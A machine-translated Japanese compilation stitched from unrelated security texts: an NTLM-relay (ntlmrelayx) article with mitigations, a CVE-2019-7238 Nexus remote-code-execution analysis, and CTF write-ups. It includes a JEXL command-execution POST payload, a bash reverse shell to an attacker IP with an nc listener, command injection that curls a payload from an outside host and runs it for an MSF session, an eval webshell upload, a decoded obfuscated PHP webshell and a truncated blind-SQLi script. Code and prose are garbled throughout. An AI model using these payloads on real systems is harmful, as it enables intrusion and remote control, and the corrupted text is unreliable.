Unsafeプロトコルを使用して名前の解像度トラフィックを使用するFox-ITで発生することがよくあります。通常、ワークステーションまたはサーバーは、ネットワークに存在しなくなったホストまたはDNSを使用してホスト名を解決できないホストとして構成されます。これが発生すると、Windowsワークステーションは、NBNSやLLMNRなどの名前解像度プロトコルに戻ります。これは、ブロードキャストトラフィックに依存して同じネットワーク内のホストを要求して、ホスト名をIPアドレスに解決します。同じネットワークセグメントのすべてのホストは、このトラフィックを表示できるため(ファイアウォールの構成に応じて)、ホストはリクエストに返信できます。これにより、攻撃者が要求された名前のアドレスを偽造する機会が与えられます。プロセスを以下に示します。

worgd1zhgsa8060.png

5。自動発見(WPAD)プロトコル

おそらく、過去数年間でハッカーで最も悪名高い機能は、Windows Proxy Auto Detection(WPAD)機能です。この機能は基本的に、DNSを介してWPADという名前のホスト名を検索します。失敗した場合、上記のLLMNRおよびNBNを攻撃してから、見つけることができる最初のホストに接続できます。この機能の悪用は、認証を求められた場合、ワークステーションが自動的にNTLM認証を使用して認証を試みるため、容易になります。 Microsoftは2016年6月にこの分野でいくつかの問題にパッチを当てましたが、Fox-Itはまだネットワークでこれに遭遇します。

6。真ん中の攻撃の男

攻撃者が被害者のトラフィックを引き継ぐことは、特にARPスプーフィングなどのテクノロジーを使用する場合、企業ネットワークで非常に破壊的であることがよくあります。ただし、エンタープライズデバイスがパブリックWiFiネットワークなどの信頼されていないネットワークに接続すると、攻撃者は被害者を攻撃し、TLSによって保護されていないトラフィックを傍受し、被害者のワークステーションで信頼できる場所にリダイレクトできます。次に、自動イントラネット検出が有効になっている場合(これはデフォルト設定です)、被害者は自動的に認証されます。

0nmi1kiecor8061.png

7。NTLMRELAYXを使用して、NTLMをどこでもリレー

NTLM認証を悪用できるツールがいくつかあります。そのうちの1つは、Core SecurityのImpacketライブラリの一部であるSMBRELAYXです。 ntlmrelayxは、Fox-ITが開発したSMBRELAYXツールの拡張および部分的な書き換えです。さまざまなプロトコルに適したリレー機能があります。このツールは複数のターゲットを受け入れ、各ターゲット間でループして、認証されるシステムを見つけます。このツールにはSMBおよびHTTPサーバーがあり、そこからNTLM認証をSMB、HTTP(S)、IMAP、LDAP、およびMSSQLにリレーできます。

8。SMBへのリレー

SMBへのリレーは、すでにSMBRELAYXの一部である古典的な攻撃です。この攻撃に慣れていない場合、SMBに中継することで、リレーしたユーザーがデバイスに管理権限を持っている場合、攻撃者はSMB Signature Disabledのホストでファイルを実行できます。 ADMIN以外のユーザーの場合、NTLMRELAYXはSMBCLINERIENTシェルを起動するオプションを追加し、ファイルのダウンロードやアップロードなど、攻撃者がシェアと対話できるようにします。この攻撃は、たとえばNetCatに接続できるローカルTCPシェルを生成するインタラクティブフラグ(-I)を使用して実行できます。

in5ranojaiz8062.png

vtfrvlv0f5r8063.png

9。LDAPへのリレー

LDAPへのリレーは、NTLMRELAYXの新機能です。 LDAPは、ディレクトリを直接クエリするために使用されるため、興味深いプロトコルです。これには、攻撃者にとって興味深い多くの情報が含まれています。さらに興味深いのは、デフォルトでは、コンピューターアカウントを含むドメイン内のすべてのアカウントがこの情報のほとんどを読むことができることです。これは、NTLMRELAYXが別のFOX IT開発ツールLDAPDOMAINDUMPと統合する場所です。このツールは、ユーザー、グループメンバーシップ、ドメインコンピューター、ドメインポリシーなど、ドメインからできるだけ多くの情報を収集しようとします。

q01egpfpm1u8064.png情報の収集に加えて、LDAPを介してディレクトリに書き込むこともできます。 ntlmrelayxがドメイン管理者の特権を持つユーザーに遭遇した場合、攻撃者のドメインの完全な制御をすぐに持つ新しいドメイン管理者アカウントを作成します。

j4nx0zasy3l8065.png

10。IMAPへのリレー

現在の交換バージョンではデフォルトでは有効になっていませんが、多くの企業組織はExchangeサーバー上のIMAPを介してNTLM認証を実行します。これにより、IMAPへのリレーが可能になり、攻撃者が被害者のメールに直接アクセスできます。 IMAPに中継すると、NTLMRELAYXには、電子メールでキーワードを検索するか、ユーザーの指定された受信トレイに最新の電子メールをすべてダウンロードするオプションがあります。

yi2oakhpdfx8066.png

3th1rwbif5p8067.png

11。 MSSQL

へのリレー

MSSQLへのリレーは現在理論的証明としてのみ存在しますが、データベースの犠牲者に実行されるコマンドラインでクエリを指定できます。

0x02緩和策

では、エンタープライズ組織はこれらの攻撃に抵抗するために何ができるでしょうか?上記のすべてがNLTM認証プロトコルを乱用しているため、唯一の完全な解決策はNTLMを完全に無効にしてKerberosに切り替えることです。ただし、多くのエンタープライズ組織には、Kerberos認証をサポートしていないレガシー製品またはオペレーティングシステムがあるため、NTLMを無効にすると、ビジネスに大きな影響があります。緩和として、さまざまな設定を有効にして、中間の攻撃のリスクを最小限に抑えることができます。

SMBの署名を有効にする:SMB署名は、すべてのトラフィックを署名することを要求することにより、SMBへの中継をブロックします。署名はメッセージを認証するためにユーザーのパスワードを必要とするため、接続を中継する攻撃者は、攻撃者が被害者のパスワードを持っていないため、サーバーによって受け入れられた通信を送信できません。

LDAPの署名を有効にする:SMB署名と同様に、LDAPの署名はLDAPへの署名のない接続を防ぎます。 TLSからLDAPへの接続が署名されていると見なされるため、この設定はTLSからLDAPへのリレー攻撃を防止しないことに注意する必要があります。

認証拡張保護を有効にする:認証のための拡張保護は、サーバーに接続するために使用されるTLSチャネルがクライアントが認証されたときに使用されるチャネルと同じであることを保証することにより、特定のリレー攻撃を防ぐのに役立ちます。この設定は、主にIISに適用されます。

SPNターゲット名の有効化:SPNターゲット名の確認は、クライアントが認証されていると思われるターゲット名を確認することにより、中間の攻撃をSMBへの攻撃を防ぐことができる別の軽減です。名前がサーバーと一致しない場合、認証は拒否されます。

内部Webサイトがhttpsを使用していることを確認してください:不安定なHTTPプロトコルを介して内部Webサイトにアクセスする場合、ユーザーは接続の信頼性を確認できません。すべての内部WebサイトにHTTPSメソッドのみに合格するように強制することにより、中間攻撃の効果が低下します。

一般的に強化して、中央の人間による攻撃を防ぐ

これらの特定のサーバー側の設定に加えて、次の一般的な硬化はNTLMリレーを防ぐことができます。

自動イントラネット検出の無効化:ドメインでNTLM認証が必要な場合は、ブラウザ(主にインターネットエクスプローラー)が信頼できるWebサイトのみを自動的に認証することを確認してください。グループポリシーを通じて、自動イントラネット検出を無効にすることができ、自動認証を適用する内部Webサイトのホワイトリストに従って自動認証のみを実行できます。上記のように、ここでのみHTTPS Webサイトを使用することを強くお勧めします。

Windowsエージェントの自動検出:WPADのセキュリティ問題は主にMicrosoft MS16-077セキュリティアップデートによって解決されますが、グループポリシーを通じてWPADを無効にすることをお勧めします。

LLMNR/NBNSを無効にする:これらの安全でない名前解像度プロトコルは、通常、よく構成されたネットワークでは必要ありません。それらを無効にすると、攻撃者が名前の解像度のスプーフィングを実行する可能性が減り、攻撃者が被害者をだまして攻撃者サーバーに接続するのが難しくなります。

0x03 get ntlmrelayx

NTLMRELAYXはImpacketリポジトリに提出されており、Impacketサンプルディレクトリにあります。

0x04その他のリソース

NTLMを理解しようとする私たちの研究のほとんどは、次のリソースの助けを借りて行われました。

http://davenport.sourceforge.net/ntlm.html(明確な説明ですが、Microsoftのオープンソースの前の逆プロトコルに基づいていくつかの部分が時代遅れです)

http://ubiqx.org/cifs/smb.html#smb.8.5(上記と同様)

https://msdn.microsoft.com/en-us/library/cc236621.aspx(公式契約文書、非常に技術的)

https://technet.microsoft.com/en-us/library/2006.08.securitywatch.aspx(lmcompatibilityLevel Description)

0x00脆弱性の背景

Nexus Repository Manager 3は、Maven、Nuget、およびその他のソフトウェアソースリポジトリの保存と配布に使用できるソフトウェアリポジトリです。 3.14.0および以前のバージョンでは、OrientDBカスタム関数に基づいた任意のJEXL式実行機能がありました。この関数には、許可されていないアクセスの脆弱性があり、任意のコマンド実行の脆弱性につながる可能性があります。 2019年2月5日、Sonatypeは、Nexus Repository Manager 3で、アクセス制御対策が不十分なため、この欠陥を使用して特定の要求を構築してサーバー上のJavaコードを実行することができるというセキュリティ発表を発表しました。

0x01衝撃の範囲

NexusリポジトリマネージャーOSS/Proバージョン3.6.2からバージョン3.14.0

0x02脆弱性の概要

脆弱性の公式の簡単な説明から、不正なアクセスユーザーがリクエストを作成して任意のコード実行を引き起こすことができるという理由だけで、単純に言えます。さらに、3.15.0+以上のバージョンがユーザー認証を追加したため、3.15.0+バージョンはこの脆弱性の影響を受けません。したがって、diffの結果に基づいて、org.sonatype.nexus.coreui.componentComponentの脆弱性を大まかに決定できます。

-w1338

tb5kn1bcyqz8141.png

0x03全体的なトリガープロセス

extdirectmodule $ configure:60#バインディングおよびリクエスト解像度extdirectservlet $ dopost:155#dopost:155#request request request request directjngineRvlet $ dopost3:595 #Parse JSONリクエストJSONREQUESTPROCESOR $ Process:119クエリステートメントパッケージパッケージComponentComponent $ previewassets:208#query result browseserviceimpl $ previewassets3:252#build olientdb query statement browseserviceimpl $ previewassets3:258#スプライスクエリステートメントbrowseServiceimpl $ $ $ $ spiewassetets33:262#previewassetset MetadatanodeEntityAdapter $ countbyQuery:221#execute orientdb query contextExpressionfunction $ execute:125#抽出jexl式ContextExpressionFunction $ checkjexlexpression3:154#execute jexl式

0x03脆弱性分析

脆弱性のトリガーは、主にパッケージの解析とJEXL式の実行の2つの部分に分けられます。

1。パッケージ分析を投稿

最初に、Web.xmlでルーティング分析を行う方法を見てみましょう。

0cemgybkyze8142.png

org.sonatype.nexus.bootstrap.osgi.delegatingFilterは、すべてのリクエストをインターセプトします。これは、動的なルーティングロードである可能性が非常に高いです。動的ルーティングの読み込みには、対応するモジュールモジュールがコードで構成をルートにバインドし、サーブレットを明示的にロードする必要があります。脆弱性の入力は、org.sonatype.nexus.extdirect.internal.extdirectmodule#Configure :にあります

wqqoftksjou8143.png

直接フォローアップorg.sonatype.nexus.extdirect.internal.extdirectservlet $ dopost:

m2e3i0o2fy58144.png

下降し続けて、投稿リクエストを処理する部分を確認します。

qyogwy5tbgl8145.png

ここでは、フォローアップして、JSON形式でリクエストを処理する方法を確認します。

5qr1h43vwrx8146.png

ua22vcgmx2t8147.png

まず、JSONの構文ツリーを解析し、データを抽出します。

mqf0eptf3ys8148.png

アクション、メソッド、TID、タイプ、およびデータの5つの変数が必要であることがわかります。

ISBatchedはパラメーターの長さによって決定され、返された配列の長さは1であるため、IsBatchedはfalseです。次に、ProcessIndividualRequestSinthisThiSthReadメソッドを渡します。

wesovks4ihe8149.png

ここで返された結果を構築するとき、ここにはJSONの脱出プロセスがあることがわかります。ここでは、返品結果が主にJSON形式で返されます。

2。 JEXL式の実行

ポストパッケージの分析から、5つのパラメーターを構築する必要があることがわかります。同時に、アクションと方法を構築した後、対応するクラスとメソッドを直接かつ動的に呼び出すことができます。

この脆弱性は、org.sonatype.nexus.coreui.componentComponent#previewassets:に表示されます

qbu4fcdxmvi8150.png

まず、repositoryName、expression、およびPostパッケージの入力の値を取り出します。これらの3つのパラメーターは、既存のリポジトリの名前、式のタイプ、および式を表します。

JEXLの処理プロセスに焦点を当てます:

grm0xgsk2ik8151.png

zdpeopy3mo48152.png

これは単なるインスタンス化されたjexlselectorオブジェクトであり、式を実行するために評価を呼び出さないため、脆弱性のトリガーポイントは他の場所にあることに注意してください。実際の式の実行ポイントは、browserservice.previewassetsのプロセスにあります。これは、この脆弱性で最も困難なポイントでもあります。

org.sonatype.nexus.repository.browse.internal.browseserviceimpl#previewassetsで、プレビューアセットの実装についてフォローアップ:

rpn20dth5w28153.png

ここでは、式がSQLクエリを形成するパラメーターとして使用され、OrientDBによって実行されることがわかります。

mz1dpo24bup8154.png

ただし、OrientDB自体にはコンテンツエクセッショナルメソッドがありません。つまり、この方法はJavaで実装されています。私はそれを調べて、org.sonatype.nexus.repository.selector.internal.contentExpressionFunctionで見つけました:

2lhta41xipz8155.png

CheckJexLexPression:

tqew3usicgn8156.png

selectorManage.evaluateを呼び出してjexl式を実行します。

y5tfsez3mv18157.png

0x04コンストラクトpoc

上記の分析を通じて、ポストパッケージ分析で対応するパラメーターを構築する必要があります。以下は例です。

Windows環境の構築:

https://help.sonatype.com/repomanager3/download/download-archives-- Repository-manager-3

https://Sonatype-download.global.sl.fastly.net/nexus/3/nexus-3.14.0-04-unix.tar.gz

インストールリファレンス:

https://help.sonatype.com/learning/repository-manager-3/first-installation-and-setup/lesson-1%3a - インストールとスタート - nexus-repository-manager

Windowsへのインストールは成功しました。実行する必要があります(デフォルトパスワード:admin/admin123)

nexus.exe /run

そのPOCは次のとおりです。

POST/SERVICE/EXTDIRECT HTTP/1.1

host:155.138.147.133608081

user-agent: mozilla/5.0(windows nt 6.1; win64; x64; rv336064.0)gecko/20100101 firefox/64.0

Content-Type:アプリケーション/JSON

Content-Length: 308

Connection:閉じます

{'Action':'coreui_component'、 'method':'previewassets'、 'data ': [{' page':1、 'sta rt':0、 'limit':25、' filter ':0 [{'property':'RepositoryName'、 'Value ':'*'}、{' p Roperty':'Expression '、' value ': '' '。class.forname(' java.lang.runtime ')。getruntime()。ex ec( 'calc.exe') '}、{' property':'type '、' value ':'jexl '}]}]、' type':'rpc '、' tid'33604}

esfdgkkq1j58158.png

この脆弱性では、Nexusに既存のJARパッケージがある場合、局所検証中にJARレポートが最初に送信されることに注意してください。原則分析については、後で分析のために個別に取り出すことができます。

0x05環境構築

1。Ubuntu16.04にDockerとDocker-Composeをインストールします:

(1)。 PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

(2)。 Dockerをインストールします

curl -s https://get.docker.com/| sh

(3)。 Dockerサービスを開始します

Service Docker Start

(4)。 Docker Composeをインストールします

PIPインストールDocker-Compose

p5epx2p0iud8159.png

2。使い方

(1)。脆弱性環境プロジェクトのダウンロード

git clone 3https://github.com/vulhub/vulhub.git

(2)。 Nexus利用環境に入ります

CD vulhub/nexus/cve-2019-7238

(3)。編集環境

Docker-Composeビルド

(4)。次のコマンドを実行して、Nexus Repository Manager 3.14.0を開始します

Docker-Composeビルド

nlgdacbqbep8160.pngしばらく待った後、環境は正常に開始できます。 http://your-ip:8081にアクセスして、Webページをご覧ください。

syhschczpuo8161.png

パスワードadmin:Admin123を使用してアカウントの背景にログインし、Mavenバージョンの下にJARパッケージをアップロードします。

ohoobyfigg18162.png

gdm0opklbza8163.png

この脆弱性をトリガーするには、リポジトリに少なくとも1つのパッケージが存在するようにする必要があります。

0x06脆弱性の再発

1。脆弱性エクスプロイトPOCプロジェクトをダウンロードします

git clone https://github.com/backlion/cve-2019-7238.git

2。CVE-2019-7238ディレクトリを入力します

CD CVE-2019-7238

3。CVE-2019-7238.pyを変更します。ここでは、実際の状況に応じて、remote='http://127.0.0.1:8081'およびarch="linux"の値を変更します。

VI CVE-2019-7238.py

ki4hfcx0sky8164.png

4。攻撃者システムでCVE-2019-7238.pyスクリプトを実行してから、NCをリバウンドするBashを入力します

bash -i /dev/tcp/149.248.17.172/2333 01#IPは攻撃者システムのIPアドレスです

qwxyszmnu5k8165.png

5。攻撃者システムでNCリスニングリバウンドを実行します

NC -LVVP 2333

vyf2qddf2zo8166.png

0x07修理提案

現在、役人は脆弱性を変更するための新しいバージョンをリリースしています。対応する最新バージョンにアップグレードするには、上記の[セキュリティバージョン]を参照することをお勧めします。

最新バージョンのダウンロードリンク:

https://help.sonatype.com/repomanager3/download

0x08参照リンク

https://Support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-nexus-repository-manager-3-missing-Access-con-controls-and-remote-code-execution-5th-2019

https://www.lucifaer.com/2019/02/19/NEXUS%20Repository%20Manager%203%20%E8%BF%9C%E7%A8%8B%E4%A3 %E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%EF%

https://CERT.360.CN/REPORT/DETAIL?ID=3EC687EC01CCCD0854E2706590DDC215

https://blog.csdn.net/caiqiiqi/article/details/87204472

https://Blog.51Cto.com/13770310/2351479

https://github.com/vulhub/vulhub/tree/master/nexus/cve-2019-7238

減圧

人形を圧縮し、最後のレイヤーまで解決し、ファイルを抽出します

image-20241024133500142

プロンプトは通常のコードを提供します。通常のブラストパスワードによると、合計5桁があり、4桁目は数字です

^([a-z]){3} \ d [a-z] $の合計は5桁で、直接blastされ、パスワードxtr4mを取得し、脱落させてフラグを取得します

image-20241024143051751

image-20241024133955066

PleasingMusic

タイトルの説明に言及しています:

歌はよく聞こえ、ポジティブとネガティブの両方で、ポジティブとネガティブは良いです。プロンプトによると(実際、音楽の後半が後方に再生されることも聞くことができます)、オーディオは逆に処理され、その後モールスコードが解析されます。

界面 1 界面 2

モールスコードメーターは手動で翻訳できます。オンラインデコードを使用できます。

粗い表現: - 、薄い表現:スペースまたはスペース:スペースまたは/セグメントを使用します

Morse 解密结果

image-20241024134921354

whereisflag

実際のフラグを見つけるための純粋なコマンドマニュアル検索。 /proc/self/Environファイル(現在のプロセスの環境変数を取得するために使用できます)では、次のコマンドを実行してフラグを取得できます。

Cat/Proc/Self/Environ image-20241024135548272

labyirinth

image-20241024135921781

image-20241024135957928

コードを引き換える

image-20241024140300688

wireshark_checkin

image-20241024140542352

image-20241024140718246

wireshark_secret

image-20241024141014162

image-20241024141234550

タイトルの説明に連絡して、tivatテキスト比較テーブルを見つけます

image-20241024141652291

比較表にはたくさん説明されています

最初の真ん中に大きな文字列を試しましたが、上下のケースは正しくありませんでした

その後、小さな暗号テキストを繰り返し続けて取得します:flagisasesence iiaaelgtsfkfa

doyouknowfence mesioaabgnsgogmyeiaied

ヒントフラグは文であり、フェンスはフェンスの暗号化mesioaabgnsgogmyeiaidでもあります

https://ctf.bugku.com/tool/railfence

image-20241024142911077

提出が提出されたときにパッケージフラグは正しくなく、小文字に切り替えるときは小文字が正しいです。

最後のフラグは次のとおりです:flag {muygenshinisagoodgame}

線の間の秘密

vscodeで開いて、u+202cの広いゼロバイトを発見します

image-20241024143304292

image-20241024143434003

パスワードを取得:IT_IS_K3Y

パスワードを使用して単語を開き、空白を見つけ、すべてのCTR+Aを選択し、コピーして、フラグを取得します

image-20241024143550459

Xiao Ming、熱心で親切な

vol.py -f image.raw imageinfo

image-20241024143952884

推奨されるオペレーティングシステムのバージョンは、win7sp1x86_23418、win7sp0x86、win7sp1x86_24000、win7sp1x86であることがわかります。ここでは、最初のもの(win7sp1x86_23418)を選択して試してみます。とにかく、それがうまくいかない場合は、何か他のものを試してください。

vol.py -f image.raw -profile=win/sp1x86_23418 lsadump

image-20241024144028191

最初の0x48はパスワードではありません。サインとして理解できます。これとは別に、システムパスワードを取得できます:zdfyvdlfdtnlul9wnhntdzbyrf9iqunlrvih。

最後のフラグはフラグです{zdfyvdlfdtnlul9wnhntdzzbyrf9iqunlrvih}

トレーサーを使用してボルトの台風を使用して

ステップ1、ニュースビデオへのリンクを開きます

bilibili1

bilibili2

ビデオに基づいて、次の情報を取得します。

必須レポート:ダークパワーの台頭.対応するバージョン:オリジナル4月15日バージョンステータス:必要な情報が改ざんされています。レポート名を直接検索します

https://Threatmon.io/storage/the-rise-of-dark-power-a-close-the-the-group-and-the-their-ransomware.pdf

google

duckduckgo

必要なPDFファイルを見ることができますが、ビデオにはレポートコンテンツが改ざんされていることも述べています。

篡改

したがって、現在のバージョンには間違いなく必要な情報がありません。

質問者は以前に幸運だったので、彼は直接ダウンロードできる元のバージョンのPDFを見つけました、そして、彼はそれを直接始めることができました。

しかし、運が良くない場合はどうすればよいですか? —— Waybackマシンを使用するように当社のWebサイトにお願いします。

wayback 1

公式のWebサイトリンクを入力して、たまたま4月15日に利用できるトレーサーを開始します。

wayback 2

wayback 3

ファイルをダウンロードすると、残りはビデオで示されているファイルと同じです。

バックカバー画像を削除し、ドメインボックスに材料を入手してからMD5を入手してください。

もちろん、肉眼でビデオのあいまいな情報を直接読むことができれば、質問者はそれを認識します。

domain

md5

フラグを詰めてフラグを取得{6C3EA51B6F9D4F5E}。

Hertaの研究

HTTPエクスポートGet Upload.php

image-20241024145523278

?php

$ payload=$ _ get ['payload'];

$ payload=shell_exec($ payload);

$ bbb=create_function(

base64_decode( 'j'.str_rot13(' t ')。' 5z ')、

base64_decode( 'jg5zpwjhc2u2nf9lbmnvzguojg5zktsncmzvcigkat0woyrpphn0cmxlbigkbnmpoyrp

kz0xkxsnciagiCbpzigkasuy'.str_rot13( 'cg0kxkfapvntvpntvpntwt5mjleckg1m')。 'dhjfcm90mtmojg5zwyrpxsk7dqo

GICAGFQ0KFQ0KCMV0DXJUICRUCZS==')

);

echo $ bbb($ payload);

?str_rot13()関数は、文字列上でrot13エンコードを実行します。

ROT13エンコーディングは、各文字をアルファベット内の13文字で前進させることです。数字と非アルファベット文字は同じままです。

'。' PHPのコネクタなので、アップロードされたPHPコードは実際には次のとおりです。

?php

$ payload=$ _get ['payload'];

$ payload=shell_exec($ payload);

$ bbb=function($ ns){

$ ns=base64_encode($ ns);

for($ i=0; $ i strlen($ ns); $ i ++){

if($ i%2==1){

$ ns [$ i]=str_rot13($ ns [$ i]);

}

}

$ nsを返します。

};

echo $ bbb($ payload);

コードによると、結果はbase64によってエンコードされていることがわかり、その後、内部の奇数桁の文字がstr_rot13でエンコードされていることがわかります。

次に、旗を要求するパッケージを見つけてそれをデコードしますが、それが偽の旗であることがわかります。

?php

$ result='zzxuz3tmsqnsagrsumbsnzvodkkkzavzla0tct==';

$ bbb=function($ ns){

for($ i=0; $ i strlen($ ns); $ i ++){

if($ i%2==1){

$ ns [$ i]=str_rot13($ ns [$ i]);

}

}

$ nsを返します。

};

Echo Base64_Decode($ BBB($ result));

?後で、私はf.txtを見つけに行き、flag:flagを解決しました{sh3_i4_s0_6eaut1ful。}

bgmは壊れていますか?

Audacityでオーディオを開くと、右チャネルの終わりに情報があり、左チャネルがノイズがあることを簡単に見つけることができます。

audacity 1

質問の説明によると、それはダイヤルトーンですが、直接リリースすることはできないため、ノイズを削除する必要があります

[ステレオから個別]を選択してモノ»左チャンネルをオフにします»エクスポートimage-20241024151621861

image-20241024151650045

image-20241024151704929

audacity 4

キーサウンドによる復号化Webサイト(つまり、DTMFデコーダー

image-20241024151752387

image-20241024151805669

フラグをラップするだけです{}

AmazingGame

プライベートAndroidディレクトリは/data/user/0/パッケージ名にあります

Android shared_prefsは通常、ソフトウェア構成データを保存するために使用されます

ファイルを変更して、合格レベルデータを変更します

最初のレベルを通過した後、ゲームをオフにします(これは非常に重要です)

携帯電話の実行へのADBリンク

シェル

ADBシェル

run-as com.pangbai.projectm

CD shared_prefs

cat net.osaris.turbly.jumpyball.xmlxml

?xmlバージョン='1.0'エンコード='utf-8' standalone='yes'?

地図

boolean name='cockpitview' value='true' /

int name='lockedsolotracks' value='2' /

int name='lockedtracks' value='2' /

int name='best0m0' value='130' /

int name='lockedships' value='1' /

int name='userid' value='9705893' /

/マップソフトウェアには23のレベルがあり、ロック解除数のレベルを23に変更します

通常、ADBプッシュを使用してファイルを変更する必要があります。ここでは、利便性のために2を直接23に置き換えます。

シェル

SED -I 's/2/23/g' net.osaris.turbly.jumpyball.xmlゲームを開き、すべてのレベルがロック解除されていることがわかります。自由に23のレベルをプレイします。ゲームが終わったときにフラグを取得できます。

ez_jail

この質問の元の意味は、C ++の(マクロ)置換演算子の知識のみをテストすることです。

キーワードが正しく使用されている限り、オンラインで検索できますが、質問セットの人の実行は壊れており、テスト中に多くの予期しない結果が表示されます。各知識ポイントの難しさを検討した後、予想外の難しさは予想される解決策とそれほど変わらないと感じたので、単に半開きの質問になりました。

コードのチェック関数を観察します

Python

def cpp_code_checker(code):

code:の「#include」の場合

falseを返す、「コードにはライブラリを含めることは許可されていません」

code:の「#define」の場合

falseを返し、「コードはマクロの使用が許可されていません」

'{' in codeまたは '}' in code:の場合

戻る (

間違い、

'コードは `{`または `}`を使用することは許可されていませんが、単一の関数である必要があります」

))

Len(code)100:の場合

「コードが長すぎる」と虚偽を返す

trueを返す、「コードは有効」です 'このコードは#include #defineなどをフィルタリングしているようですが、学生が#をバイパスできることを生徒が気付いたかどうかはわかりません。

したがって、ペイロードはこのようなものになる可能性があります(ソリューションを提供してくれたMaster Yuroに感謝します)

cpp

#define user_code()write(stdout_fileno、 'hello、world!'、13);

1.calc

質問アドレス:http://116.205.139.16633608001/

右クリック /ソースソースコード

@app.route( '/calc'、method=['get'])

def calc():

ip=request.remote_addr

num=request.values.get( 'num')

log='echo {0} {1} {2} ./tmp/log.txt'.format(%歳〜m%m%M%S',time.localime())、num)

WAF(num):の場合

try:

data=eval(num)

os.system(log)

:を除く

合格

str(データ)を返す

else:

「waf !」を返します

フラスコエラーは、WAFのフィルタリングルールを確認するために報告できます

http://162.14.110.241:8050/calc?num []=

def waf(s):

blacklist=['import'、 '('、 ')'、 '#'、 '@'、 '^'、 '$'、 '、' '?'、 '`'、 ' '、' _ '、' | ';'; '、' '、' '、' '、{'、 '}'、 ''、 '' '、' getattr '、' os '、' system '、' class '、' subclasses '、mro'、 'request'、 'args'、 'eval'、 'if'、 '' subprocess '、' 'file'、 'oppen'、 '' '' '' '' '' '' '' '' '' '' '' 'popen builtins '、' compile '、' execfile '、' from_pyfile '、' config '、' local '、' self '、' item '、' getItem '、' getattribute '、' func_globals '、' __ in exattribute '、' join '、' __ dict__ ']]

flag=true

BlackList:ではありません

s.lower():のno.lower()の場合

flag=false

印刷(いいえ)

壊す

フラグを返します

試した後、私はnumを操作し、%0aを使用して異なるコマンドを分離することができることがわかりました。

次に、ステートメントはeval(num)によって正常に実行される必要があることに注意してください。それ以外の場合は、os.system(log)にジャンプしないことに注意してください。解決策は、コマンドを単一の引用で包むことです。

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

バックテックはエコーを引き出すのは簡単ではないので、私は単にカールを使用してペイロードをダウンロードし、MSFでオンラインになります

/calc?num=%0a'curl'%09'http://x.x.x.x:yyy/testapp'%09'-o'%09'/tmp/testapp'%0a

/calc?num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a

/calc?num=%0a '/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

質問アドレス:http://81.70.155.160/

ayacms githubアドレス

https://github.com/loadream/ayacms

問題には多くの脆弱性がありますが、バックグラウンド/フロントデスクにログインする必要があります

バックグラウンドadmin.phpは弱いパスワードを試しましたが失敗し、フロントデスクが登録できませんでした.

そこで、コード監査のためにソースコードを直接ダウンロードしてから、1日のほとんどを視聴しました

ソースコードの多くの場所が定義されています( 'in_aya')またはexit( 'アクセス拒否');つまり、直接アクセスすることはできず、IN_aya定数を定義した他のPHPファイルを介して含めるまたは必要とする必要があります。

この考え方は、ファイルに含まれる脆弱性を見つけることに変換されます

私は長い間探してきましたが、 /ya /admin.inc.phpで場所を見つけました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

get_cookieはAYA_プレフィックスでCookie値を取得し、Decryptは対応する暗号化機能のソースコードを見つけることもできます。

暗号化中のaya_keyは、デフォルト値AAAです

ファイルが含まれた後、アイデアははるかに広くなり、それを既知の脆弱性と組み合わせます

https://github.com/loadream/ayacms/issues/3

ペイロード

?php

関数ランダム($ length=4、$ chars='abcdefghijklmnopqrstuvwxyz'){

$ hash='';

$ max=strlen($ chars)-1;

for($ i=0; $ i $ length; $ i ++){

$ hash。=$ chars [mt_rand(0、$ max)];

}

$ hashを返します。

}

function kecrypt($ txt、$ key){

$ key=md5($ key);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ txt [$ i]^$ key [$ ctr ++];

}

$ strを返します。

}

function encrypt($ txt、$ key=''){

$ keyまたは$ key='aaa';

$ rnd=random(32);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ rnd [$ ctr]。($ txt [$ i]^$ rnd [$ ctr ++]);

}

return str_replace( '='、 ''、base64_encode(kecrypt($ str、$ key)));

}

echo necrypt( './module/admin/fst_upload');

HTTPパッケージ

post /aya/admin.inc.php http/1.1

HOST: 81.70.155.160

Content-Length: 244

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: null

Content-Type: MultiPart/Form-Data;境界=--- webkitformboundarykhsd4wq8ubmzcnd1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 edg/107.0.1418.6222

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda

Connection:閉じます

----- webkitformboundarykhsd4wq8ubmzcnd1

content-disposition: form-data; name='upfile'; filename='xzxz123123123.php'

Content-Type:アプリケーション/Octet-Stream

?php eval($ _ request [1]); phpinfo();

----- webkitformboundarykhsd4wq8ubmzcnd1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

ヒントヒントwafはmodsecurityです

タイトルアドレス:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php

オンラインで参照記事を見つけました

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

残りはスクリプトを使用してペイロードを直接追跡することです。質問にプロンプトが私のパスワードを見つけることができるので、パスワード列のコンテンツを推測してください。

リクエストをインポートします

インポート時間

flag=''

i=1

true:

min=32

max=127

最小max:

time.sleep(0.08)

mid=(min + max)//2

印刷(chr(mid))

